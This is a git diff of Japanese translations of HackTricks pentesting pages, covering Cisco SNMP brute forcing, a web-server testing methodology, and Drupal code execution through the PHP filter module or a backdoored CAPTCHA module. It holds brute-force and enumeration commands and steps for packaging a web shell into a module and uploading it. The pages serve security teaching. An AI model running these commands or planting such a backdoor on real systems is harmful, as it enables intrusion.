<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_流暢なポーランド語の読み書きが必要_).
|
||||
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
## Pentesting Cisco Networks
|
||||
|
||||
**SNMP** は、一般的なメッセージ用のポート 161/UDP とトラップメッセージ用のポート 162/UDP で UDP 上で機能します。このプロトコルは、SNMP エージェントとサーバー間の通信を可能にするパスワードとして機能するコミュニティ文字列に依存しています。これらの文字列は、特に **読み取り専用 (RO) または読み書き (RW) 権限** を決定するため、重要です。ペンテスターにとって注目すべき攻撃ベクターは、ネットワークデバイスに侵入することを目的とした **コミュニティ文字列のブルートフォース攻撃** です。
|
||||
**SNMP** は、一般的なメッセージ用のポート 161/UDP とトラップメッセージ用のポート 162/UDP で UDP 上で機能します。このプロトコルは、SNMP エージェントとサーバー間の通信を可能にするパスワードとして機能するコミュニティ文字列に依存しています。これらの文字列は、特に **読み取り専用 (RO) または読み書き (RW) 権限** を決定するため、重要です。ペンテスターにとって注目すべき攻撃ベクトルは、ネットワークデバイスに侵入することを目的とした **コミュニティ文字列のブルートフォース攻撃** です。
|
||||
|
||||
そのようなブルートフォース攻撃を実行するための実用的なツールは [**onesixtyone**](https://github.com/trailofbits/onesixtyone) であり、潜在的なコミュニティ文字列のリストとターゲットの IP アドレスが必要です:
|
||||
そのようなブルートフォース攻撃を実行するための実用的なツールは [**onesixtyone**](https://github.com/trailofbits/onesixtyone) であり、潜在的なコミュニティ文字列のリストとターゲットの IP アドレスが必要です。
|
||||
```bash
|
||||
onesixtyone -c communitystrings -i targets
|
||||
```
|
||||
#### `cisco_config_tftp`
|
||||
|
||||
Metasploitフレームワークには、デバイスの設定を抽出するための`cisco_config_tftp`モジュールがあり、RWコミュニティ文字列の取得に依存しています。この操作に必要な基本パラメータは次のとおりです:
|
||||
Metasploitフレームワークには、デバイスの設定を抽出するための`cisco_config_tftp`モジュールがあり、RWコミュニティ文字列を取得することが条件です。この操作に必要なパラメータは以下の通りです:
|
||||
|
||||
* RWコミュニティ文字列 (**COMMUNITY**)
|
||||
* 攻撃者のIP (**LHOST**)
|
||||
* ターゲットデバイスのIP (**RHOSTS**)
|
||||
* 設定ファイルの保存先パス (**OUTPUTDIR**)
|
||||
|
||||
設定が完了すると、このモジュールはデバイスの設定を指定されたフォルダーに直接ダウンロードすることを可能にします。
|
||||
設定が完了すると、このモジュールはデバイスの設定を指定したフォルダに直接ダウンロードすることを可能にします。
|
||||
|
||||
#### `snmp_enum`
|
||||
|
||||
|
@ -52,7 +52,7 @@ msf6 auxiliary(scanner/snmp/snmp_enum) > exploit
|
|||
|
||||
* [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**ハッキングキャリア**に興味があり、アンハッカブルなものをハックしたい方 - **私たちは採用しています!** (_流暢なポーランド語の読み書きが必要です_)。
|
||||
|
||||
|
@ -67,8 +67,8 @@ GCPハッキングを学び、実践する:<img src="../../.gitbook/assets/grt
|
|||
<summary>HackTricksをサポートする</summary>
|
||||
|
||||
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
|
||||
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
|
||||
* **ハッキングのトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出してください。**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_流暢なポーランド語の読み書きが必要_).
|
||||
|
||||
|
@ -23,7 +23,7 @@ If you are interested in **hacking career** and hack the unhackable - **we are h
|
|||
|
||||
## Basic Info
|
||||
|
||||
ウェブサービスは最も**一般的で広範なサービス**であり、多くの**異なるタイプの脆弱性**が存在します。
|
||||
ウェブサービスは最も**一般的で広範なサービス**であり、多くの**異なる種類の脆弱性**が存在します。
|
||||
|
||||
**デフォルトポート:** 80 (HTTP), 443(HTTPS)
|
||||
```bash
|
||||
|
@ -46,16 +46,16 @@ openssl s_client -connect domain.com:443 # GET / HTTP/1.0
|
|||
|
||||
> この方法論では、あなたがドメイン(またはサブドメイン)を攻撃することを前提としています。そのため、発見された各ドメイン、サブドメイン、または範囲内の不明なウェブサーバーを持つIPにこの方法論を適用する必要があります。
|
||||
|
||||
* [ ] **ウェブサーバー**で使用されている**技術**を**特定**することから始めます。技術を成功裏に特定できた場合、テストの残りの部分で考慮すべき**トリック**を探します。
|
||||
* [ ] **ウェブサーバー**で使用されている**技術**を**特定**することから始めます。技術を特定できた場合、テストの残りの部分で考慮すべき**トリック**を探します。
|
||||
* [ ] 技術のバージョンに**既知の脆弱性**はありますか?
|
||||
* [ ] **よく知られた技術**を使用していますか?より多くの情報を抽出するための**便利なトリック**はありますか?
|
||||
* [ ] 実行するための**専門のスキャナー**はありますか(例えば、wpscan)?
|
||||
* [ ] **一般的なスキャナー**を起動します。何かを見つけるか、興味深い情報を見つけるかはわかりません。
|
||||
* [ ] **初期チェック**から始めます:**robots**、**sitemap**、**404**エラー、**SSL/TLSスキャン**(HTTPSの場合)。
|
||||
* [ ] ウェブページの**スパイダー**を開始します:すべての可能な**ファイル、フォルダー**、および**使用されているパラメータ**を**見つける**時間です。また、**特別な発見**を確認します。
|
||||
* [ ] _ブルートフォースやスパイダー中に新しいディレクトリが発見されるたびに、それをスパイダーする必要があります。_
|
||||
* [ ] _ブルートフォースやスパイダー中に新しいディレクトリが発見された場合は、必ずスパイダーする必要があります。_
|
||||
* [ ] **ディレクトリブルートフォース**:発見されたすべてのフォルダーをブルートフォースして、新しい**ファイル**や**ディレクトリ**を探します。
|
||||
* [ ] _ブルートフォースやスパイダー中に新しいディレクトリが発見されるたびに、それをブルートフォースする必要があります。_
|
||||
* [ ] _ブルートフォースやスパイダー中に新しいディレクトリが発見された場合は、必ずブルートフォースする必要があります。_
|
||||
* [ ] **バックアップチェック**:一般的なバックアップ拡張子を追加して、**発見されたファイル**の**バックアップ**を見つけられるかテストします。
|
||||
* [ ] **ブルートフォースパラメータ**:**隠れたパラメータ**を**見つける**ことを試みます。
|
||||
* [ ] **ユーザー入力**を受け入れるすべての可能な**エンドポイント**を**特定**したら、それに関連するすべての種類の**脆弱性**を確認します。
|
||||
|
@ -66,7 +66,7 @@ openssl s_client -connect domain.com:443 # GET / HTTP/1.0
|
|||
### Identify
|
||||
|
||||
実行中のサーバー**バージョン**に**既知の脆弱性**があるか確認します。\
|
||||
**HTTPレスポンスのヘッダーとクッキー**は、使用されている**技術**や**バージョン**を**特定**するのに非常に役立ちます。**Nmapスキャン**はサーバーバージョンを特定できますが、ツール[**whatweb**](https://github.com/urbanadventurer/WhatWeb)**、** [**webtech** ](https://github.com/ShielderSec/webtech)または[**https://builtwith.com/**](https://builtwith.com)**も役立ちます:
|
||||
**HTTPヘッダーとレスポンスのクッキー**は、使用されている**技術**や**バージョン**を**特定**するのに非常に役立ちます。**Nmapスキャン**はサーバーバージョンを特定できますが、ツール[**whatweb**](https://github.com/urbanadventurer/WhatWeb)**、** [**webtech** ](https://github.com/ShielderSec/webtech)または[**https://builtwith.com/**](https://builtwith.com)**も役立ちます:
|
||||
```bash
|
||||
whatweb -a 1 <URL> #Stealthy
|
||||
whatweb -a 3 <URL> #Aggresive
|
||||
|
@ -154,7 +154,7 @@ node puff.js -w ./wordlist-examples/xss.txt -u "http://www.xssgame.com/f/m4KKGHi
|
|||
CMSが使用されている場合は、**スキャナーを実行する**ことを忘れないでください。もしかしたら何か興味深いものが見つかるかもしれません:
|
||||
|
||||
[**Clusterd**](https://github.com/hatRiot/clusterd)**:** [**JBoss**](jboss.md)**, ColdFusion, WebLogic,** [**Tomcat**](tomcat/)**, Railo, Axis2, Glassfish**\
|
||||
[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/), **Joomla**, **vBulletin**のセキュリティ問題を検出します。(GUI)\
|
||||
[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/), **Joomla**, **vBulletin**ウェブサイトのセキュリティ問題。(GUI)\
|
||||
[**VulnX**](https://github.com/anouarbensaad/vulnx)**:** [**Joomla**](joomla.md)**,** [**Wordpress**](wordpress.md)**,** [**Drupal**](drupal/)**, PrestaShop, Opencart**\
|
||||
**CMSMap**: [**(W)ordpress**](wordpress.md)**,** [**(J)oomla**](joomla.md)**,** [**(D)rupal**](drupal/) **または** [**(M)oodle**](moodle.md)\
|
||||
[**droopscan**](https://github.com/droope/droopescan)**:** [**Drupal**](drupal/)**,** [**Joomla**](joomla.md)**,** [**Moodle**](moodle.md)**, Silverstripe,** [**Wordpress**](wordpress.md)
|
||||
|
@ -199,7 +199,7 @@ joomlavs.rb #https://github.com/rastating/joomlavs
|
|||
|
||||
### **SSL/TLSの脆弱性**
|
||||
|
||||
* アプリケーションがどの部分でも**HTTPSの使用を強制していない**場合、**MitM攻撃に対して脆弱**です。
|
||||
* アプリケーションがどの部分でも**HTTPSの使用を強制していない**場合、**MitMに対して脆弱**です。
|
||||
* アプリケーションが**HTTPを使用して機密データ(パスワード)を送信している**場合、これは高い脆弱性です。
|
||||
|
||||
[**testssl.sh**](https://github.com/drwetter/testssl.sh)を使用して**脆弱性**をチェックし(バグバウンティプログラムではこの種の脆弱性は受け入れられない可能性があります)、[**a2sv**](https://github.com/hahwul/a2sv)を使用して脆弱性を再確認してください:
|
||||
|
@ -218,7 +218,7 @@ SSL/TLSの脆弱性に関する情報:
|
|||
|
||||
### スパイダーリング
|
||||
|
||||
ウェブ内で何らかの**スパイダー**を起動します。スパイダーの目的は、テストされたアプリケーションから**できるだけ多くのパスを見つけること**です。したがって、ウェブクローリングと外部ソースを使用して、できるだけ多くの有効なパスを見つける必要があります。
|
||||
ウェブ内で何らかの**スパイダー**を起動します。スパイダーの目的は、テストされたアプリケーションから**できるだけ多くのパスを見つけること**です。したがって、ウェブクロールと外部ソースを使用して、できるだけ多くの有効なパスを見つける必要があります。
|
||||
|
||||
* [**gospider**](https://github.com/jaeles-project/gospider) (go): HTMLスパイダー、JSファイル内のLinkFinderおよび外部ソース(Archive.org、CommonCrawl.org、VirusTotal.com、AlienVault.com)。
|
||||
* [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HMLスパイダー、JSファイル用のLinkFinderおよび外部ソースとしてArchive.orgを使用。
|
||||
|
@ -235,7 +235,7 @@ SSL/TLSの脆弱性に関する情報:
|
|||
* [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): ファイル(HTML)を与えると、巧妙な正規表現を使用して、醜い(ミニファイされた)ファイルから相対URLを見つけて抽出します。
|
||||
* [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash、いくつかのツール): いくつかのツールを使用してJSファイルから興味深い情報を収集します。
|
||||
* [**subjs**](https://github.com/lc/subjs) (go): JSファイルを見つけます。
|
||||
* [**page-fetch**](https://github.com/detectify/page-fetch) (go): ヘッドレスブラウザでページを読み込み、ページを読み込むために読み込まれたすべてのURLを出力します。
|
||||
* [**page-fetch**](https://github.com/detectify/page-fetch) (go): ヘッドレスブラウザでページを読み込み、ページを読み込むためにロードされたすべてのURLを出力します。
|
||||
* [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): いくつかの前述のツールのオプションを組み合わせたコンテンツ発見ツール。
|
||||
* [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): JSファイル内のパスとパラメータを見つけるためのBurp拡張機能。
|
||||
* [**Sourcemapper**](https://github.com/denandz/sourcemapper): .js.map URLを与えると、ビューティファイドJSコードを取得するツール。
|
||||
|
@ -250,18 +250,18 @@ SSL/TLSの脆弱性に関する情報:
|
|||
|
||||
### ディレクトリとファイルのブルートフォース
|
||||
|
||||
ルートフォルダから**ブルートフォース**を開始し、**この方法**で見つかった**すべてのディレクトリ**と**スパイダーリング**によって**発見された**すべてのディレクトリをブルートフォースすることを確認してください(このブルートフォースを**再帰的に**行い、使用するワードリストの先頭に見つかったディレクトリの名前を追加できます)。\
|
||||
ルートフォルダーから**ブルートフォース**を開始し、**この方法**で見つかった**すべてのディレクトリ**と**スパイダーリング**によって**発見された**すべてのディレクトリをブルートフォースすることを確認してください(このブルートフォースを**再帰的に**行い、使用するワードリストの先頭に見つかったディレクトリの名前を追加できます)。\
|
||||
ツール:
|
||||
|
||||
* **Dirb** / **Dirbuster** - Kaliに含まれており、**古い**(および**遅い**)ですが機能します。自己署名証明書と再帰検索を許可します。他のオプションと比較して遅すぎます。
|
||||
* [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: 自己署名証明書は許可されていませんが**、再帰検索を許可します。
|
||||
* [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: 自己署名証明書を許可しませんが**、再帰検索を許可します。
|
||||
* [**Gobuster**](https://github.com/OJ/gobuster) (go): 自己署名証明書を許可し、**再帰的**検索はありません。
|
||||
* [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- 高速で、再帰検索をサポートします。**
|
||||
* [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- 高速、再帰検索をサポートします。**
|
||||
* [**wfuzz**](https://github.com/xmendez/wfuzz) `wfuzz -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt https://domain.com/api/FUZZ`
|
||||
* [**ffuf** ](https://github.com/ffuf/ffuf)- 高速: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ`
|
||||
* [**uro**](https://github.com/s0md3v/uro) (python): これはスパイダーではありませんが、見つかったURLのリストを与えると「重複」URLを削除します。
|
||||
* [**Scavenger**](https://github.com/0xDexter0us/Scavenger): 異なるページのburp履歴からディレクトリのリストを作成するためのBurp拡張機能。
|
||||
* [**TrashCompactor**](https://github.com/michael1026/trashcompactor): JSインポートに基づいて重複機能を持つURLを削除します。
|
||||
* [**TrashCompactor**](https://github.com/michael1026/trashcompactor): 機能が重複しているURLを削除します(jsインポートに基づく)。
|
||||
* [**Chamaleon**](https://github.com/iustin24/chameleon): 使用されている技術を検出するためにwapalyzerを使用し、使用するワードリストを選択します。
|
||||
|
||||
**推奨辞書:**
|
||||
|
@ -289,16 +289,16 @@ _ブルートフォースやスパイダーリング中に新しいディレク
|
|||
|
||||
* [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): 乗っ取りの危険があるHTML内の壊れたリンクを見つけます。
|
||||
* **ファイルバックアップ**: すべてのファイルを見つけたら、すべての実行可能ファイル("_.php_", "_.aspx_"...)のバックアップを探します。バックアップの命名に一般的なバリエーションは次のとおりです: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmpおよびfile.old._ また、[**bfac**](https://github.com/mazen160/bfac) **または** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**を使用できます。**
|
||||
* **新しいパラメータを発見**: [**Arjun**](https://github.com/s0md3v/Arjun)**、** [**parameth**](https://github.com/maK-/parameth)**、** [**x8**](https://github.com/sh1yo/x8) **および** [**Param Miner**](https://github.com/PortSwigger/param-miner) **を使用して隠れたパラメータを発見できます。可能であれば、各実行可能なウェブファイルで隠れたパラメータを検索してみてください。**
|
||||
* **新しいパラメータを発見**: [**Arjun**](https://github.com/s0md3v/Arjun)**、** [**parameth**](https://github.com/maK-/parameth)**、** [**x8**](https://github.com/sh1yo/x8) **および** [**Param Miner**](https://github.com/PortSwigger/param-miner) **を使用して隠れたパラメータを発見できます。可能であれば、各実行可能ウェブファイルで隠れたパラメータを検索してみてください。**
|
||||
* _Arjunのすべてのデフォルトワードリスト:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db)
|
||||
* _Param-miner “params” :_ [https://github.com/PortSwigger/param-miner/blob/master/resources/params](https://github.com/PortSwigger/param-miner/blob/master/resources/params)
|
||||
* _Assetnote “parameters\_top\_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io)
|
||||
* _nullenc0de “params.txt”:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773)
|
||||
* **コメント:** すべてのファイルのコメントを確認してください。**認証情報**や**隠れた機能**を見つけることができます。
|
||||
* **CTF**をプレイしている場合、「一般的な」トリックは、ページの**右側**のコメント内に**情報**を**隠す**ことです(**数百**の**スペース**を使用して、ブラウザでソースコードを開いてもデータが見えないようにします)。別の可能性は、**いくつかの新しい行**を使用して、ウェブページの**下部**のコメントに情報を**隠す**ことです。
|
||||
* **コメント:** すべてのファイルのコメントを確認し、**資格情報**や**隠れた機能**を見つけることができます。
|
||||
* **CTF**をプレイしている場合、「一般的な」トリックは、**ページの右側**のコメント内に**情報**を**隠す**ことです(**数百**の**スペース**を使用して、ブラウザでソースコードを開いてもデータが見えないようにします)。もう一つの可能性は、**いくつかの新しい行**を使用して、ウェブページの**下部**のコメントに**情報**を隠すことです。
|
||||
* **APIキー**: **APIキー**を見つけた場合、さまざまなプラットフォームのAPIキーの使用方法を示すガイドがあります: [**keyhacks**](https://github.com/streaak/keyhacks)**、** [**zile**](https://github.com/xyele/zile.git)**、** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**、** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**、** [**RegHex**](https://github.com/l4yton/RegHex\)/)**、** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**、** [**EarlyBird**](https://github.com/americanexpress/earlybird)
|
||||
* Google APIキー: **AIza**SyA-qLheq6xjDiEIRisP\_ujUseYLQCHUjikのようなAPIキーを見つけた場合、プロジェクト[**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner)を使用して、キーがアクセスできるAPIを確認できます。
|
||||
* **S3バケット**: スパイダーリング中に、**サブドメイン**または**リンク**が**S3バケット**に関連しているかどうかを確認してください。その場合、[**バケットの**権限を**確認**してください](buckets/)。
|
||||
* **S3バケット**: スパイダーリング中に、**サブドメイン**または**リンク**がいくつかの**S3バケット**に関連しているかどうかを確認します。その場合、[**バケットの**権限を**確認**してください](buckets/)。
|
||||
|
||||
### 特別な発見
|
||||
|
||||
|
@ -308,10 +308,10 @@ _ブルートフォースやスパイダーリング中に新しいディレク
|
|||
|
||||
* **CSS**ファイル内の他のファイルへの**リンク**を探します。
|
||||
* [**.git**ファイルを見つけた場合、いくつかの情報を抽出できます](git.md)
|
||||
* [**.env**を見つけた場合、APIキー、DBパスワードなどの情報が見つかる可能性があります。](https://github.com/PortSwigger/param-miner)
|
||||
* **APIエンドポイント**を見つけた場合、[それらもテストする必要があります](web-api-pentesting.md)。これらはファイルではありませんが、おそらく「それらのように見える」でしょう。
|
||||
* **.env**を見つけた場合、APIキー、DBパスワードなどの情報が見つかる可能性があります。
|
||||
* **APIエンドポイント**を見つけた場合、[それらもテストする必要があります](web-api-pentesting.md)。これらはファイルではありませんが、おそらく「ファイルのように見える」でしょう。
|
||||
* **JSファイル**: スパイダーリングセクションでは、JSファイルからパスを抽出できるいくつかのツールが言及されました。また、見つかった各JSファイルを**監視する**ことも興味深いでしょう。なぜなら、場合によっては、変更がコードに潜在的な脆弱性が導入されたことを示す可能性があるからです。たとえば、[**JSMon**](https://github.com/robre/jsmon)**を使用できます。**
|
||||
* 発見されたJSファイルを[**RetireJS**](https://github.com/retirejs/retire.js/)または[**JSHole**](https://github.com/callforpapers-source/jshole)で確認して、脆弱性があるかどうかを確認する必要があります。
|
||||
* 発見されたJSファイルを[**RetireJS**](https://github.com/retirejs/retire.js/)または[**JSHole**](https://github.com/callforpapers-source/jshole)で確認し、脆弱性があるかどうかを確認する必要があります。
|
||||
* **Javascript Deobfuscator and Unpacker:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/)、[https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator)
|
||||
* **Javascript Beautifier:** [http://jsbeautifier.org/](https://beautifier.io)、[http://jsnice.org/](http://jsnice.org)
|
||||
* **JsFuckのデオブフスケーション**(文字でのjavascript:"\[]!+" [https://ooze.ninja/javascript/poisonjs/](https://ooze.ninja/javascript/poisonjs/))
|
||||
|
@ -327,21 +327,21 @@ _ブルートフォースやスパイダーリング中に新しいディレク
|
|||
|
||||
**502 Proxy Error**
|
||||
|
||||
ページが**そのコード**で**応答**する場合、それはおそらく**不適切に構成されたプロキシ**です。**`GET https://google.com HTTP/1.1`**のようなHTTPリクエストを送信すると(ホストヘッダーや他の一般的なヘッダーを含む)、**プロキシ**は**_google.com_**に**アクセス**しようとし、**SSRF**を見つけることになります。
|
||||
ページが**そのコード**で**応答**する場合、**不適切に構成されたプロキシ**の可能性があります。**`GET https://google.com HTTP/1.1`**のようなHTTPリクエストを送信すると(ホストヘッダーや他の一般的なヘッダーを含む)、**プロキシ**は_**google.com**_に**アクセス**しようとし、**SSRF**を見つけることになります。
|
||||
|
||||
**NTLM認証 - 情報漏洩**
|
||||
|
||||
認証を要求しているサーバーが**Windows**であるか、**資格情報**を要求するログインを見つけた場合(**ドメイン名**を要求する場合)、**情報漏洩**を引き起こすことができます。\
|
||||
**ヘッダーを送信します**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` そして、**NTLM認証の動作**により、サーバーは内部情報(IISバージョン、Windowsバージョン...)を「WWW-Authenticate」ヘッダー内で応答します。\
|
||||
このプロセスを**自動化**するには、**nmapプラグイン**"_http-ntlm-info.nse_"を使用できます。
|
||||
この操作は、**nmapプラグイン**"_http-ntlm-info.nse_"を使用して**自動化**できます。
|
||||
|
||||
**HTTPリダイレクト (CTF)**
|
||||
|
||||
**リダイレクション**内に**コンテンツ**を**挿入**することが可能です。このコンテンツは**ユーザーに表示されません**(ブラウザがリダイレクションを実行するため)が、そこに**隠された**ものがあるかもしれません。
|
||||
**リダイレクション**内に**コンテンツ**を**挿入**することが可能です。このコンテンツは**ユーザーに表示されません**(ブラウザがリダイレクションを実行するため)が、そこに**隠されている**ものがあるかもしれません。
|
||||
|
||||
### ウェブ脆弱性の確認
|
||||
|
||||
ウェブアプリケーションの包括的な列挙が行われたので、さまざまな可能性のある脆弱性を確認する時が来ました。チェックリストはここにあります:
|
||||
ウェブアプリケーションの包括的な列挙が行われたので、多くの可能性のある脆弱性を確認する時が来ました。チェックリストはここにあります:
|
||||
|
||||
{% content-ref url="../../pentesting-web/web-vulnerabilities-methodology.md" %}
|
||||
[web-vulnerabilities-methodology.md](../../pentesting-web/web-vulnerabilities-methodology.md)
|
||||
|
@ -353,11 +353,11 @@ _ブルートフォースやスパイダーリング中に新しいディレク
|
|||
* [https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web\_application\_security\_testing/configuration\_and\_deployment\_management\_testing.html](https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web\_application\_security\_testing/configuration\_and\_deployment\_management\_testing.html)
|
||||
* [https://owasp-skf.gitbook.io/asvs-write-ups/kbid-111-client-side-template-injection](https://owasp-skf.gitbook.io/asvs-write-ups/kbid-111-client-side-template-injection)
|
||||
|
||||
### ページの変更を監視する
|
||||
### ページの変更を監視
|
||||
|
||||
[https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io)のようなツールを使用して、脆弱性を挿入する可能性のある変更を監視できます。
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**ハッキングキャリア**に興味があり、ハッキング不可能なものをハッキングしたい場合 - **私たちは採用しています!** (_流暢なポーランド語の読み書きが必要です_)。
|
||||
|
||||
|
@ -442,8 +442,8 @@ GCPハッキングを学び、実践する:<img src="../../.gitbook/assets/grt
|
|||
<summary>HackTricksをサポートする</summary>
|
||||
|
||||
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
|
||||
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを送信してください。**
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
|
||||
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -18,7 +18,7 @@ Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="
|
|||
## With PHP Filter Module
|
||||
|
||||
{% hint style="warning" %}
|
||||
古いバージョンのDrupal **(バージョン8以前)** では、管理者としてログインし、**`PHP filter`モジュールを有効にする**ことが可能でした。このモジュールは「埋め込まれたPHPコード/スニペットを評価することを許可します。」しかし、バージョン8からはこのモジュールはデフォルトでインストールされていません。
|
||||
古いバージョンのDrupal **(バージョン8以前)** では、管理者としてログインし、**`PHP filter`モジュールを有効にする**ことが可能でした。このモジュールは「埋め込まれたPHPコード/スニペットを評価することを許可します。」しかし、バージョン8以降、このモジュールはデフォルトでインストールされていません。
|
||||
{% endhint %}
|
||||
|
||||
**phpプラグインがインストールされている必要があります** (_/modules/php_ にアクセスして、**403**が返される場合は、**存在します**。**見つからない**場合は、**phpプラグインはインストールされていません**)
|
||||
|
@ -38,7 +38,7 @@ curl http://drupal-site.local/node/3
|
|||
## PHPフィルターモジュールのインストール
|
||||
|
||||
{% hint style="warning" %}
|
||||
現在のバージョンでは、デフォルトのインストール後にウェブにアクセスするだけでプラグインをインストールすることはもはやできません。
|
||||
現在のバージョンでは、デフォルトのインストール後にウェブにアクセスするだけでプラグインをインストールすることはできなくなりました。
|
||||
{% endhint %}
|
||||
|
||||
バージョン**8以降、** [**PHPフィルター**](https://www.drupal.org/project/php/releases/8.x-1.1) **モジュールはデフォルトでインストールされていません**。この機能を利用するには、**自分でモジュールをインストールする必要があります**。
|
||||
|
@ -52,7 +52,7 @@ curl http://drupal-site.local/node/3
|
|||
## バックドア付きモジュール
|
||||
|
||||
{% hint style="warning" %}
|
||||
現在のバージョンでは、デフォルトのインストール後にウェブにアクセスするだけでプラグインをインストールすることはもはやできません。
|
||||
現在のバージョンでは、デフォルトのインストール後にウェブにアクセスするだけでプラグインをインストールすることはできなくなりました。
|
||||
{% endhint %}
|
||||
|
||||
バックドア付きモジュールは、**既存のモジュールにシェルを追加することによって作成できます**。モジュールはdrupal.orgウェブサイトで見つけることができます。[CAPTCHA](https://www.drupal.org/project/captcha)のようなモジュールを選びましょう。下にスクロールして、tar.gzの[アーカイブ](https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz)のリンクをコピーします。
|
||||
|
@ -80,7 +80,7 @@ RewriteBase /
|
|||
mv shell.php .htaccess captcha
|
||||
tar cvf captcha.tar.gz captcha/
|
||||
```
|
||||
* ウェブサイトに**管理者アクセス**があると仮定して、サイドバーの**`管理`**をクリックし、次に**`拡張`**をクリックします。次に、**`新しいモジュールをインストール`**ボタンをクリックすると、インストールページ(例: `http://drupal-site.local/admin/modules/install`)に移動します。バックドア付きのCaptchaアーカイブに移動し、**`インストール`**をクリックします。
|
||||
